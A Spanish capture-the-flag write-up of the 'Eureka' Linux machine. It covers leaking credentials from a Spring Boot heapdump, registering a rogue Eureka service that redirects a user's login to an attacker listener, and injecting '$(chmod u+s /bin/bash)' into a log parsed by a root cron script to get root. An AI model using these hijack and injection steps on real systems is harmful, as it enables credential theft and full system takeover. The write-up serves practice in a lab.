Writeup Eureka
Dificultad: Dificil
Sistema Operativo: Linux
La máquina de hoy, se enfoca en la explotación de vulnerabilidades en aplicaciones Spring Boot, La enumeración identifica endpoints expuestos, que permite obtener credenciales sensibles. Estas credenciales facilitan el acceso inicial al sistema como el usuario “oscar190”. Desde allí, se explota una vulnerabilidad en el servicio Eureka mediante un registro malicioso, logrando escalar privilegios a un usuario más privilegiado, “miranda”. Finalmente, se establece una reverse shell para obtener acceso root, explotando configuraciones inseguras de un archivo con poca sanitizacion y aprovechando una tarea cron de ROOT.
Enumeracion
primero vamos a enumerar puertos en la ip con nmap:
nmap -p- --open -sS -Pn -n -vvv --min-rate 2000 10.129.232.59 -oN puertos
el primero escaneo nos muestra:
Not shown: 43604 closed tcp ports (reset), 21929 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
escaneando lo puertos de nuevo pero sin un “min-rate” tenemos otro puerto:
8761/tcp open unknown syn-ack ttl 63
ahora, vamos a capturar versiones y servicios que esten corriendo en esos puertos:
nmap -p22,80,8761 -sCV -n -Pn 10.129.232.59 -oN servicios
cosas interesantes se nos revelan:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
| 256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_ 256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8761/tcp open http Apache Tomcat (language: en)
| http-auth:
| HTTP/1.1 401 \x0D
|_ Basic realm=Realm
|_http-title: Site doesn't have a title.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ssh: podríamos intentar fuerza bruta, pero sin usuarios posibles o contraseñas, no vale la pena (además que acabaríamos bloqueados)
80: una web con dominio furni.htb corriendo en nginx 1.18.0
8761: parece un panel de autenticacion corriendo en apache tomcat (muy observador eh!), sin titulo ni nada mas
llama mi atencion ese panel, miraremos primero que hay alli:
en efecto, pero no tenemos creds
vamos con la otra
primero, agregar el dominio a nuestro /etc/hosts:
10.129.232.59 furni.htb
buscando info de la web desde la terminal:
whatweb http://furni.htb
tenemos:
se hizo enumeración DNS sin éxito aparente
despues de fuzzear algunos diccionarios, no tenia nada, asi que gracias a la comunidad, hice uso del siguiente diccionario:
ffuf -w -c /usr/share/seclists/Discovery/Web-Content/quickhits.txt -u http://furni.htb/FUZZ
Y AHORA:
nota: siempre probar mas alternativas de diccionario a las que se esta acostumbrado en las maquinas faciles o medias
Information Disclosure:
en http://furni.htb/actuator vemos:
mirando y probando las urls, http:/furni.htb/actuator/heapdump ha descargado un archivo
despues de buscar por mucho con el programa visualVM que es una interface grafica para ver volcaldos de memoria como este no encontre nada, intentando usar filtros y abriendolo, no tenia resultados al estar en hexdump, pero, convirtiendolo con strings y filtrando con grep la palabra “password” ya podia ver un poco mejor el contenido:
(después de mirar todo, si…. todo haha, no habían credenciales o me podía haber saltado alguna) intentando filtrar un poco mas use:
strings heapdump | grep "password:"
dado que solo se buscaba password y podría estar descartando alguna que le siguieran simbolos
finalmente, cambiando “:” por “=”
strings heapdump | grep "password="
nota: también podríamos haber indicado -i para que no fuera case sensitive, pero lo pensé luego, aunque de igual modo obtuvimos resultados satisfactorios :D
credenciales finalmente:
user: oscar190 password: 0sc@r190_S0l!dP@sswd
Shell como Oscar:
probando las credenciales en la pagina del puerto 8761 no tenemos resultados, pero por ssh:
ssh oscar190@10.129.232.59
(no creo que este sea el usuario, posiblemente haya que hacer movimiento lateral)
lo podemos confirmar, dado que en el home, no hay flag
no podemos listar permisos especiales, dado que sudo no esta habilitado para este usuario
en el home, tenemos otro directorio /home/miranda-wise posiblemente sea el usuario que debemos pivotar (pudimos mirar ese nombre varias veces en el archivo heapdump)
visitando el directorio donde se almacena el servidor, aplique un filtro con grep para buscar recursivamente en todos los directorios y archivos por la palabra “password”, como en el archivo anterior:
cd /var/www/web
grep -iE -r "password"
y nos muestra un recurso que tiene una contrasena diferenta a la encontrada en el otro archivo pero para el mismo usuario oscar:
si miramos ese archivo (el ultimo) que apararece en la imagen anterior tenemos en /var/www/web/Eureka-Server/src/mnain/resources/application.yaml:
(estas si parecen las credenciales correctas para el panel de la web)
user: EurekaSrvr password: 0scarPWDisTheB3st
MisConfiguration y XSS:
usando las credenciales:
al parecer no tenemos ninguna funcionalidad en la pagina, asi que voy a buscar cves relacionados a este servidor
spring eureka server es un servidor para la integración de microservicios, y asi pueden interactuar entre si
después de mucha lectura, consultas con chat-gpt, pruebas, algo de ayuda de la comunidad, finalmente tengo los pasos para la vulneracion de este servidor
lo primero, el el nombre, podemos buscar spring eureka server vulnerabilities en google y veremos: https://engineering.backbase.com/2023/05/16/hacking-netflix-eureka
al mirar no eran vulnerabilidades en si, sino malas configuraciones, una de ellas, permitia reemplazar o inyectar un servicio malicioso en el servidor, y si algun usuario privilegiado lo visitaba, pues le robariamos las credenciales.
ahora, que me hizo pensar que esta vulnerabilidad podira funcionar?
dentro de la sesion ssh con oscar, mirando los logs del servidor, vemos algo bastante curioso al buscar al otro usuario o si habia mencion de el en las carpetas de la web (miranda)
con el comando:
grep -iE -r "miranda"
hay una cantidad inusual de inicios de sesion ante USER-MANAGEMENT-SERVICE el cual es un servicio de el servidor eureka el cual ya tenemos credenciales:
lo que nos hace pensar que hay alguna tarea cron programada para que el usuario visite específicamente ese servicio constantemente
en el articulo, la primera vulnerabilidad habla sobre ssrf, el cual nos serviria para ver alguna pagina oculta a la cual no llegamos, (no nos hace mucho sentido con lo que sabemos hasta ahora)
la segunda vulnerabilidad:
robo de trafico y xss ( y sabemos que los xss nos siven para robar credenciales, cookies, etc) esto, mas los logs vistos, nos indica que podemos este ataque podemos intentarlo
en el mismo blog, nos dicen como podemos comunicarnos con el servidor para levantar o reemplazar un servicio desde una solicitud de burpsuite
yo quise hacerlo desde la terminal con una solicitud curl, asi que pasando el json a un llm y detallando que era lo que quería hacer, además de que lo pulí un poco, basándome en el propio servicio que nos muestra la pagina: puedes verlo visitando /eureka/apps/USER-MANAGEMENT-SERVICE
después de varios fallos y limpiando un poco la solicitud mientras hacia pruebas, finalmente este fue el comando que me funciono:
curl -k -X POST http://EurekaSrvr:0scarPWDisTheB3st@10.129.232.59:8761/eureka/apps/USER-MANAGEMENT-SERVICE -H "Content-Type:application/json" -d '{
"instance": {
"instanceId": "USER-MANAGEMENT-SERVICE",
"app": "USER-MANAGEMENT-SERVICE",
"hostName": "<3vil ip aqui>",
"ipAddr": "<3vil ip aqui>",
"vipAddress": "USER-MANAGEMENT-SERVICE",
"secureVipAddress": "USER-MANAGEMENT-SERVICE",
"status": "UP",
"port": {
"$": 8081,
"@enabled": "true"
},
"homePageUrl": "http://<3vil ip aqui>:8081/",
"statusPageUrl": "http://<3vil ip aqui>:8081/status",
"healthCheckUrl": "http://<3vil ip aqui>:8081/health",
"dataCenterInfo": {
"@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
"name": "MyOwn"
}
}
}'
nota: donde indica “3vil ip aqui” es para evitar confusiones, alli va nuestra ip de atacantes
antes de mandar la solicitud, estaremos en escucha con netcat, aunque en el blog nos indican usar una pagina maliciosa, no sera necesario en este caso, lo intente de ambos modos (con y sin pagina) y de igual modo recibiras la data robada:
comando netcat para estar en escucha:
nc -lnvp 8081
el servidor se vera de este modo:
en un minuto recibiras respuesta
data recibida con un panel malicioso de inicio de sesion:
data recibida sin panel malicioso: (como vemos, funciona en ambos casos)
Shell como Miranda:
mirando la data que nos llega, son credenciales completas:
username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeT0L0ve
aunque esta codificada a urlencode los caracteres especiales, podemos decodificarlos con el burpsuite en el decoder o con
https://gchq.github.io/CyberChef/#recipe=URL_Decode(true)&input=SUwlMjF2ZVQwQmUlMjZCZVQwTDB2ZQ
finalmente:
usuario: miranda.wise contrasena: IL!veT0Be&BeT0L0ve
nota: aunque el usuario que nos ha llegado sea miranda.wise, si miras el directorio home, veras que el el sistema estara como “miranda-wise”, por si falla tu inicio de sesion con ssh
ahora:
ssh miranda-wise@furni.htb
tenemos la primera flag
PrivEsc:
luego de mirar algunas cosas en el sistema y usando un script de monitoreo, para los comandos que se ejecutan en el sistema:
#!/bin/bash
old_process=$(ps -eo command)
while true; do
new_process=$(ps -eo command)
diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -v -E "command|procmon"
old_process=$new_process
done
Podemos ver:
y en el directorio /opt tenemos log_analyse.sh:
#!/bin/bash
# Colors
GREEN='\033[0;32m'
RED='\033[0;31m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
RESET='\033[0m'
LOG_FILE="$1"
OUTPUT_FILE="log_analysis.txt"
declare -A successful_users # Associative array: username -> count
declare -A failed_users # Associative array: username -> count
STATUS_CODES=("200:0" "201:0" "302:0" "400:0" "401:0" "403:0" "404:0" "500:0") # Indexed array: "code:count" pairs
if [ ! -f "$LOG_FILE" ]; then
echo -e "${RED}Error: Log file $LOG_FILE not found.${RESET}"
exit 1
fi
analyze_logins() {
# Process successful logins
while IFS= read -r line; do
username=$(echo "$line" | awk -F"'" '{print $2}')
if [ -n "${successful_users[$username]+_}" ]; then
successful_users[$username]=$((successful_users[$username] + 1))
else
successful_users[$username]=1
fi
done < <(grep "LoginSuccessLogger" "$LOG_FILE")
# Process failed logins
while IFS= read -r line; do
username=$(echo "$line" | awk -F"'" '{print $2}')
if [ -n "${failed_users[$username]+_}" ]; then
failed_users[$username]=$((failed_users[$username] + 1))
else
failed_users[$username]=1
fi
done < <(grep "LoginFailureLogger" "$LOG_FILE")
}
analyze_http_statuses() {
# Process HTTP status codes
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
found=0
# Check if code exists in STATUS_CODES array
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
existing_count=$(echo "$existing_entry" | cut -d':' -f2)
if [[ "$existing_code" -eq "$code" ]]; then
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"
break
fi
done
done < <(grep "HTTP.*Status: " "$LOG_FILE")
}
analyze_log_errors(){
# Log Level Counts (colored)
echo -e "\n${YELLOW}[+] Log Level Counts:${RESET}"
log_levels=$(grep -oP '(?<=Z )\w+' "$LOG_FILE" | sort | uniq -c)
echo "$log_levels" | awk -v blue="$BLUE" -v yellow="$YELLOW" -v red="$RED" -v reset="$RESET" '{
if ($2 == "INFO") color=blue;
else if ($2 == "WARN") color=yellow;
else if ($2 == "ERROR") color=red;
else color=reset;
printf "%s%6s %s%s\n", color, $1, $2, reset
}'
# ERROR Messages
error_messages=$(grep ' ERROR ' "$LOG_FILE" | awk -F' ERROR ' '{print $2}')
echo -e "\n${RED}[+] ERROR Messages:${RESET}"
echo "$error_messages" | awk -v red="$RED" -v reset="$RESET" '{print red $0 reset}'
# Eureka Errors
eureka_errors=$(grep 'Connect to http://localhost:8761.*failed: Connection refused' "$LOG_FILE")
eureka_count=$(echo "$eureka_errors" | wc -l)
echo -e "\n${YELLOW}[+] Eureka Connection Failures:${RESET}"
echo -e "${YELLOW}Count: $eureka_count${RESET}"
echo "$eureka_errors" | tail -n 2 | awk -v yellow="$YELLOW" -v reset="$RESET" '{print yellow $0 reset}'
}
display_results() {
echo -e "${BLUE}----- Log Analysis Report -----${RESET}"
# Successful logins
echo -e "\n${GREEN}[+] Successful Login Counts:${RESET}"
total_success=0
for user in "${!successful_users[@]}"; do
count=${successful_users[$user]}
printf "${GREEN}%6s %s${RESET}\n" "$count" "$user"
total_success=$((total_success + count))
done
echo -e "${GREEN}\nTotal Successful Logins: $total_success${RESET}"
# Failed logins
echo -e "\n${RED}[+] Failed Login Attempts:${RESET}"
total_failed=0
for user in "${!failed_users[@]}"; do
count=${failed_users[$user]}
printf "${RED}%6s %s${RESET}\n" "$count" "$user"
total_failed=$((total_failed + count))
done
echo -e "${RED}\nTotal Failed Login Attempts: $total_failed${RESET}"
# HTTP status codes
echo -e "\n${CYAN}[+] HTTP Status Code Distribution:${RESET}"
total_requests=0
# Sort codes numerically
IFS=$'\n' sorted=($(sort -n -t':' -k1 <<<"${STATUS_CODES[*]}"))
unset IFS
for entry in "${sorted[@]}"; do
code=$(echo "$entry" | cut -d':' -f1)
count=$(echo "$entry" | cut -d':' -f2)
total_requests=$((total_requests + count))
# Color coding
if [[ $code =~ ^2 ]]; then color="$GREEN"
elif [[ $code =~ ^3 ]]; then color="$YELLOW"
elif [[ $code =~ ^4 || $code =~ ^5 ]]; then color="$RED"
else color="$CYAN"
fi
printf "${color}%6s %s${RESET}\n" "$count" "$code"
done
echo -e "${CYAN}\nTotal HTTP Requests Tracked: $total_requests${RESET}"
}
# Main execution
analyze_logins
analyze_http_statuses
display_results | tee "$OUTPUT_FILE"
analyze_log_errors | tee -a "$OUTPUT_FILE"
echo -e "\n${GREEN}Analysis completed. Results saved to $OUTPUT_FILE${RESET}"
es un script que pertenece a root, y que al pasarle un archivo .log lo analiza y deja un resultado:
nota: al ejecutarlo, aun no se muestra en el listado de comandos o de procesos ejecutados, ya sea con ps, o ss
analizando el script, vemos que usa grep sin sanitizar y tambien awk
aqui probando crear mi propio archivo de logs, y metiendo comandos maliciosos entre ellos, como aqui:
siempre se tomaban y se imprimian por pantalla:
hasta que modifique los codigos de estado:
el error era diferente ya que se espera un numero y se le esta pasando texto, pero lo importante es que logramos salirnos o desviar el flujo del programa
despues de algunas pruebas, vemos que debemos producir un error para salir del flujo y luego inyectar el comando malicioso
asi que probamos:
y no funciono, por que? porque al tener un numero entra en el filtro y causa error, pero, al inyectar:
tenemos:
el script ha ejecutado el comando
aunque, si miramos el archivo:
tampoco podemos modificar como suid la bash:
Root
el error era que miranda ejecutaba el script, aunque hay una tarea programada, para que cada cierto tiempo fuera root quien ejecutara el script pero al ejecutarlo nosotros se hace como el usuario si hacemos un bucle que constantemente elimine el .log e inyecte el log malicioso, solo nos quedaria esperar a que sea root (o la tarea cron) el que ejecute el log_analyse.sh
asi que en el directorio /tmp cree y ejecute:
#!/bin/bash
while true; do
rm -f /var/www/web/user-management-service/log/application.log
echo 'HTTP Status: x[$(chmod u+s /bin/bash)]' > /var/www/web/user-management-service/log/application.log
sleep 10
done
esperamos un par de minutos y finalmente:
bash -p
nos vemos en la siguiente maquina!